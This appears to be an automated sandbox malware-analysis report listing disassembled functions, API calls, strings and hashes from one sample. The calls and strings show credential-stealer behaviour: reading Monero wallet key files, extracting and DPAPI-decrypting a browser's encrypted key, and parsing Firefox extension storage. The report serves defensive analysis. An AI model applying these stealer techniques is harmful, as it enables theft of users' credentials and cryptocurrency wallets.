Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesslstrcpywsprintf
String ID: %dx%d
API String ID: 1695172769-2206825331
Opcode ID: ce3f8ec7ff4cb7f7497745c1adb2e08ef47fa54ec6b04a1087ec7820f026ace8
Instruction ID: f46db14b3c5f590acffff3b90d2137ad1cce7e200fb9e6f175dac7cbd38d8b6c
Opcode Fuzzy Hash: ce3f8ec7ff4cb7f7497745c1adb2e08ef47fa54ec6b04a1087ec7820f026ace8
Instruction Fuzzy Hash: 1321DBB1A44208ABDB04DFD4DD49FBEBBB8FB48751F104119F609A7680C7799901CBA1

Function 008C8D50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,000000FA,?,?,008C951E,00000000), ref: 008C8D5B
RtlAllocateHeap.NTDLL(00000000), ref: 008C8D62
wsprintfW.USER32 ref: 008C8D78

Strings

%hs, xrefs: 008C8D6F

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesswsprintf
String ID: %hs
API String ID: 769748085-2783943728
Opcode ID: f9c1327474a188c63b32322f99d8a93ed8077716c1861b1059243882e3748b61
Instruction ID: 354db4ba1fd58bfe12408bed367ac9d8aec8ada76768b0a8bd9afc7f3dc04668
Opcode Fuzzy Hash: f9c1327474a188c63b32322f99d8a93ed8077716c1861b1059243882e3748b61
Instruction Fuzzy Hash: 64E046B1A40208BBC700DBD4DC0AEA977A8EB04702F000194FD0987280DAB19A019B92

Function 008BA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C8B60: GetSystemTime.KERNEL32(008D0E1A,007BCF28,008D05AE,?,?,008B13F9,?,0000001A,008D0E1A,00000000,?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008C8B86

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008BA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 008BA3FF
lstrlen.KERNEL32(00000000), ref: 008BA6BC

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

DeleteFileA.KERNEL32(00000000), ref: 008BA743

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ec0997d6806d68b0805412fb1260a2c6a144bbad6c5f7433927f9cae3fca69ef
Instruction ID: 19fb6208cf645959d29d81201b6b5106e249a4f8ccef4fc1ef7a34279921fd1c
Opcode Fuzzy Hash: ec0997d6806d68b0805412fb1260a2c6a144bbad6c5f7433927f9cae3fca69ef
Instruction Fuzzy Hash: 46E1BD728101189BDB18EBA8DC96EEE7338FF14304F50816DF516E6191EE34AA49CB67

Function 008BD400 Relevance: 6.3, APIs: 4, Instructions: 252filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C8B60: GetSystemTime.KERNEL32(008D0E1A,007BCF28,008D05AE,?,?,008B13F9,?,0000001A,008D0E1A,00000000,?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008C8B86

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008BD481
lstrlen.KERNEL32(00000000), ref: 008BD698
lstrlen.KERNEL32(00000000), ref: 008BD6AC
DeleteFileA.KERNEL32(00000000), ref: 008BD72B

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: abf4ae2050162ad18c870d5222af9a8b9d115bac71b4b53a23415eb24e5f2cab
Instruction ID: e2337ba7dce7ef16be62b1e77f1148b1509983a88ba4355a0a039d85cf345b08
Opcode Fuzzy Hash: abf4ae2050162ad18c870d5222af9a8b9d115bac71b4b53a23415eb24e5f2cab
Instruction Fuzzy Hash: 6291CC729101189BDB18EBA8EC96EEE7338FF14304F50416DF516E6191EF34AA09CB67

Function 008BD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008C8B60: GetSystemTime.KERNEL32(008D0E1A,007BCF28,008D05AE,?,?,008B13F9,?,0000001A,008D0E1A,00000000,?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008C8B86

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 008BD801
lstrlen.KERNEL32(00000000), ref: 008BD99F
lstrlen.KERNEL32(00000000), ref: 008BD9B3
DeleteFileA.KERNEL32(00000000), ref: 008BDA32

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: d94fcd8244ec05124559be5811811602eda1b2fc6f99c5ce7d91b9cc1de89917
Instruction ID: 1bd61b57404ee1c2750b3b3ded348a78d7f5f7ffa40becf79c6d409dda943e38
Opcode Fuzzy Hash: d94fcd8244ec05124559be5811811602eda1b2fc6f99c5ce7d91b9cc1de89917
Instruction Fuzzy Hash: BB81CA729101189BDB08EBA8EC96EEE7738FF14304F50452DF516E6191EE34AA09CB67

Function 008BF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 008CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 008CA7E6

Part of subcall function 008B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
Part of subcall function 008B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
Part of subcall function 008B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
Part of subcall function 008B99C0: ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
Part of subcall function 008B99C0: LocalFree.KERNEL32(008B148F), ref: 008B9A90
Part of subcall function 008B99C0: CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

Part of subcall function 008C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008C8E52

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008CA9B0: lstrlen.KERNEL32(?,007B88C8,?,\Monero\wallet.keys,008D0E17), ref: 008CA9C5
Part of subcall function 008CA9B0: lstrcpy.KERNEL32(00000000), ref: 008CAA04
Part of subcall function 008CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 008CAA12

Part of subcall function 008CA8A0: lstrcpy.KERNEL32(?,008D0E17), ref: 008CA905

Part of subcall function 008CA920: lstrcpy.KERNEL32(00000000,?), ref: 008CA972
Part of subcall function 008CA920: lstrcat.KERNEL32(00000000), ref: 008CA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,008D1580,008D0D92), ref: 008BF54C
lstrlen.KERNEL32(00000000), ref: 008BF56B

Strings

moz-extension+++, xrefs: 008BF5AD
^userContextId=4294967295, xrefs: 008BF59C

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: c4df64520ea681b948d6b8fc1bf9a0a4141bf87f5893095856817afca1d3e107
Instruction ID: b648b9ef32fd23592504e835ba98d0eb57419d2c23d6c3343dafd8d109843c68
Opcode Fuzzy Hash: c4df64520ea681b948d6b8fc1bf9a0a4141bf87f5893095856817afca1d3e107
Instruction Fuzzy Hash: 8F51D37191010CA7DB18FBA8EC96EED7778FF54304F40852DE516D6191EE349A09CBA3

Function 008C3560 Relevance: 6.1, APIs: 4, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen
String ID:
API String ID: 367037083-0
Opcode ID: d725cba340f0f607585b26885617b3fd105bdafce071db2eb3bacd9a4f50835b
Instruction ID: 4203855d27dcd97777f6ac77b3b111e3a154f2e940e4310d1fbbeb55bd9dbf4e
Opcode Fuzzy Hash: d725cba340f0f607585b26885617b3fd105bdafce071db2eb3bacd9a4f50835b
Instruction Fuzzy Hash: 5E413DB1D10109ABCB08EFE4D885FFEB774FB54708F10851CE416A6290DB75AA06DFA2

Function 008B9CE0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 98COMMON

Download Yara Rule

APIs

Part of subcall function 008CA740: lstrcpy.KERNEL32(008D0E17,00000000), ref: 008CA788

Part of subcall function 008B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 008B99EC
Part of subcall function 008B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 008B9A11
Part of subcall function 008B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 008B9A31
Part of subcall function 008B99C0: ReadFile.KERNEL32(000000FF,?,00000000,008B148F,00000000), ref: 008B9A5A
Part of subcall function 008B99C0: LocalFree.KERNEL32(008B148F), ref: 008B9A90
Part of subcall function 008B99C0: CloseHandle.KERNEL32(000000FF), ref: 008B9A9A

Part of subcall function 008C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 008C8E52

StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 008B9D39

Part of subcall function 008B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9AEF
Part of subcall function 008B9AC0: LocalAlloc.KERNEL32(00000040,?,?,?,008B4EEE,00000000,?), ref: 008B9B01
Part of subcall function 008B9AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,008B4EEE,00000000,00000000), ref: 008B9B2A
Part of subcall function 008B9AC0: LocalFree.KERNEL32(?,?,?,?,008B4EEE,00000000,?), ref: 008B9B3F

Part of subcall function 008B9B60: CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 008B9B84
Part of subcall function 008B9B60: LocalAlloc.KERNEL32(00000040,00000000), ref: 008B9BA3
Part of subcall function 008B9B60: LocalFree.KERNEL32(?), ref: 008B9BD3

Strings

DPAPI, xrefs: 008B9D89
"encrypted_key":", xrefs: 008B9D30
, xrefs: 008B9DC1

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: Local$Alloc$CryptFileFree$BinaryString$CloseCreateDataHandleReadSizeUnprotectlstrcpy
String ID: $"encrypted_key":"$DPAPI
API String ID: 2100535398-738592651
Opcode ID: 01f24c761c70b04180e7de0e2e9958c825d0b3c36cb25ce6443725d4ed6ce55e
Instruction ID: 9398c140e850d8cb048adc45898ba7ec5e5f85f2c27f0a8d42355ba1a0bb042d
Opcode Fuzzy Hash: 01f24c761c70b04180e7de0e2e9958c825d0b3c36cb25ce6443725d4ed6ce55e
Instruction Fuzzy Hash: 7B310DB5D10209ABCF14DBE8DC85EEEB7B8FF48304F144519EA55E7341EA359A04CBA1

Function 008C92E0 Relevance: 6.0, APIs: 4, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(008C3AEE,80000000,00000003,00000000,00000003,00000080,00000000,?,008C3AEE,?), ref: 008C92FC
GetFileSizeEx.KERNEL32(000000FF,008C3AEE), ref: 008C9319
CloseHandle.KERNEL32(000000FF), ref: 008C9327

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D67000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D8C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000D96000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000DA3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528918343.0000000000DA4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529017756.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1529030782.0000000000F3B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8b0000_file.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID:
API String ID: 1378416451-0
Opcode ID: 6e31a977a1dcc6fe080f43f0bf5bab951a9859a0b5483a78906795015ec1d73c
Instruction ID: b4e8ba5461506bd745da8803f3b7fba3d2ca3b472570b6c8cf20971e5710362d
Opcode Fuzzy Hash: 6e31a977a1dcc6fe080f43f0bf5bab951a9859a0b5483a78906795015ec1d73c
Instruction Fuzzy Hash: 27F01975E40208ABDB10DBF1DC49FAEB7B9FB58710F108698F655EB2C0D670A6028F40

Function 008CC742 Relevance: 6.0, APIs: 4, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 008CC74E

Part of subcall function 008CBF9F: __amsg_exit.LIBCMT ref: 008CBFAF

__getptd.LIBCMT ref: 008CC765
__amsg_exit.LIBCMT ref: 008CC773
__updatetlocinfoEx_nolock.LIBCMT ref: 008CC797

Memory Dump Source

Source File: 00000000.00000002.1528585509.00000000008B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 008B0000, based on PE: true

Associated: 00000000.00000002.1528571629.00000000008B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000961000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.000000000096D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000992000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528585509.0000000000AFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1528709467.0000000000C8B000.00000040.00000001.01000000.00000003.sdmpDownload File
